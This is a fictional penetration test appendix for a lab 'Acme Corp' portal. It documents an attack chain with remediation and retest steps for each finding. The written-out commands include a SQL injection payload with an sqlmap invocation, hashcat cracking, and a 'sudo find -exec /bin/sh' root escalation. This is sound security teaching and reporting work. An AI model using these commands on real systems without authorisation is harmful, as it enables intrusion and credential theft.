Technical Appendix

Website Security Review of the Acme Corp customer portal (fictional). Companion to the leadership report.

PREPARED BY
Farhan Hussain, Penetration Tester (CPENT)

DATE
3 November 2026

TARGET
acme.corp, 10.10.11.42 (lab environment)

APPROACH
Black box, PTES-aligned, OWASP Top 10, CVSS v3.1

> This appendix is for the development and IT teams. It gives the evidence, reproduction steps and fix examples behind each finding. The company, hosts and credentials are fictional. Secrets are partly masked, as they would be in a real deliverable.

A. Scope and environment

IN SCOPE	acme.corp web application and host 10.10.11.42, TCP ports 22 and 80.
OUT OF SCOPE	Denial of service, social engineering, third-party services.
STARTING POINT	No credentials. Internet-level access only.
TOOLS	Nmap 7.94, curl 8.x, Burp Suite, SQLMap 1.8, Hashcat 6.2, OpenSSH client.

B. Attack timeline

STEP	ACTION	RESULT
1	Port and service scan	SSH on 22, nginx on 80
2	Read home page source	Comment pointing to /notes.txt
3	Fetch /notes.txt	Admin URL and credentials in clear text (F-02)
4	Log in to /admin	Dashboard exposing /export?id= (F-01 entry point)
5	Inject into the id parameter	All account rows returned, with password hashes (F-01)
6	Crack the deploy hash offline	Plain-text password recovered (F-04)
7	SSH as deploy, run sudo -l	find allowed as root without password (F-03)
8	sudo find with -exec	Root shell. Testing stopped; no data altered.

C. Reconnaissance

```
$ nmap -sV -p- 10.10.11.42
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu
80/tcp open  http    nginx 1.18.0
Service detection performed. 1 host up.
```

```
$ curl -s http://acme.corp/
<title>Acme Corp</title>
<!-- TODO: remove /notes.txt before launch -->
```

D. Findings in detail

F-01 SQL injection in /export?id CRITICAL 9.8

VECTOR `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`

REFERENCE OWASP A03:2021 Injection, CWE-89

AFFECTED GET /export, parameter `id` (string-concatenated into a SELECT)

Reproduce. 1) Request `/export?id=1`: one row. 2) Append a quote and a tautology: all rows are returned. 3) Confirm with SQLMap.

```
$ curl -s -u admin:letmein "http://acme.corp/export?id=1%27%20OR%20%271%27=%271"
id | user   | hash
 1 | root   | 4ece57a6...[masked]
 2 | deploy | 4ca7c5c2...[masked]
 3 | guest  | (no access)

$ sqlmap -u "http://acme.corp/export?id=1" --auth-type basic \
    --auth-cred admin:[masked] --batch --dbs
Parameter: id (GET)  Type: boolean-based blind
available databases [2]: acme, information_schema
```

Fix. Use parameterised queries and validate the type. Give the web account read-only access to what it needs.

```
# Python (before)  cur.execute("SELECT id,user,hash FROM reports WHERE id = '" + rid + "'")
# Python (after)
rid = int(request.args["id"])
cur.execute("SELECT id, title FROM reports WHERE id = %s", (rid,))

-- least privilege
REVOKE ALL ON acme.users FROM web_app;
GRANT SELECT (id, title) ON acme.reports TO web_app;
```

Retest. The same request returns one row or an error, never other rows. SQLMap reports the parameter as not injectable. The web account cannot read the users table.

F-02 Credentials in a public file HIGH 7.5

VECTOR `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`

REFERENCE CWE-538 Insertion of sensitive information into externally accessible file

```
$ curl -s http://acme.corp/notes.txt
admin panel: /admin
login: admin / [masked]
```

Fix. Delete the file, rotate the password, purge it from backups and any cache. Add a secret scan to the release pipeline, for example `gitleaks detect --source .`, and block deploys on a hit. Retest: the URL returns 404 and the old password fails.

F-03 Over-permissive sudo rule HIGH 7.8

VECTOR `CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`

REFERENCE CWE-269 Improper privilege management. See GTFOBins: find.

```
deploy@acme:~$ sudo -l
User deploy may run the following commands on acme:
    (root) NOPASSWD: /usr/bin/find

deploy@acme:~$ sudo find . -exec /bin/sh \; -quit
# id
uid=0(root) gid=0(root) groups=0(root)
```

Fix. Remove the rule. If the account needs one task, give it one fixed, root-owned script.

```
# /etc/sudoers.d/deploy  (validate with: visudo -cf /etc/sudoers.d/deploy)
deploy ALL=(root) NOPASSWD: /usr/local/bin/deploy-release.sh
# script owned by root:root, mode 0755, no user-supplied arguments
```

Retest: `sudo -l` lists only the script, and `sudo find` is refused.

F-04 Unsalted MD5 password hashes MEDIUM 5.9

REFERENCE OWASP A02:2021 Cryptographic failures, CWE-916

```
$ hashcat -m 0 -a 0 hash.txt rockyou.txt
4ca7c5c2...[masked]:l*******3        Status: Cracked   (deploy)
4ece57a6...[masked]                  Status: Exhausted (root, not recovered)
```

Fix. Store passwords with a slow, salted algorithm and upgrade existing hashes the next time each user logs in.

```
from argon2 import PasswordHasher
ph = PasswordHasher()                       # Argon2id defaults
stored = ph.hash(password)
ph.verify(stored, attempt)                  # raises on mismatch
if ph.check_needs_rehash(stored): stored = ph.hash(attempt)
# migration: on login, verify old MD5, then store the Argon2id hash; force a reset for dormant accounts
```

Retest: no MD5 values remain in the users table, and a cracking attempt on a sample hash does not finish in a realistic time.

F-05 Verbose banners and error messages LOW 3.7

REFERENCE CWE-209, OWASP A05:2021 Security misconfiguration

```
# nginx
server_tokens off;
error_page 500 502 503 504 /50x.html;       # generic page, no stack trace
proxy_hide_header X-Powered-By;
```

Retest: response headers and error pages show no software names, versions or stack traces.

E. Hardening checklist beyond the five findings

- Turn on HTTPS only, with HSTS, and redirect port 80.
- Add security headers: `Content-Security-Policy`, `X-Content-Type-Options: nosniff`, `Referrer-Policy`, `Permissions-Policy`.
- Protect `/admin` with a second factor and an allow-list of source addresses where possible.
- Rate-limit logins and report exports, and alert on repeated failures.
- Disable SSH password logins for staff and use keys with a short list of allowed users.
- Keep one owner for each secret, store secrets in a vault, and rotate them on staff changes.
- Log administrator actions and database errors to a place the web server cannot edit.

F. Retest plan

ID	RETEST ACTION	PASS CONDITION
F-01	Replay the injection request. Run SQLMap with the same options.	One row only, or an error. Not injectable.
F-02	Request /notes.txt. Try the old admin password.	404. Login fails.
F-03	Run `sudo -l` as deploy. Try `sudo find`.	Only the approved script. find refused.
F-04	Query the users table. Try to crack a sample hash.	No MD5 values. Not recoverable in practice.
F-05	Trigger an error page. Inspect headers.	No versions or stack traces.

G. Severity and scoring

RATING	CVSS V3.1	SUGGESTED FIX TIME
CRITICAL	9.0 to 10.0	Immediately
HIGH	7.0 to 8.9	Within 7 days
MEDIUM	4.0 to 6.9	Within 30 days
LOW	0.1 to 3.9	Within 60 days

Scores use the CVSS v3.1 base metrics. Real engagements also weigh business context, such as how sensitive the data is and how exposed the system is, and note that in the leadership report.

H. References

- OWASP Top 10 (2021) and the OWASP Cheat Sheet Series: SQL injection prevention, password storage.
- CWE-89, CWE-538, CWE-269, CWE-916, CWE-209 (MITRE).
- PTES, the Penetration Testing Execution Standard.
- FIRST CVSS v3.1 specification. GTFOBins (find).

> Everything in this appendix is fictional and was built from lab practice. Real engagements add annotated screenshots, request and response captures, and a signed scope and rules of engagement.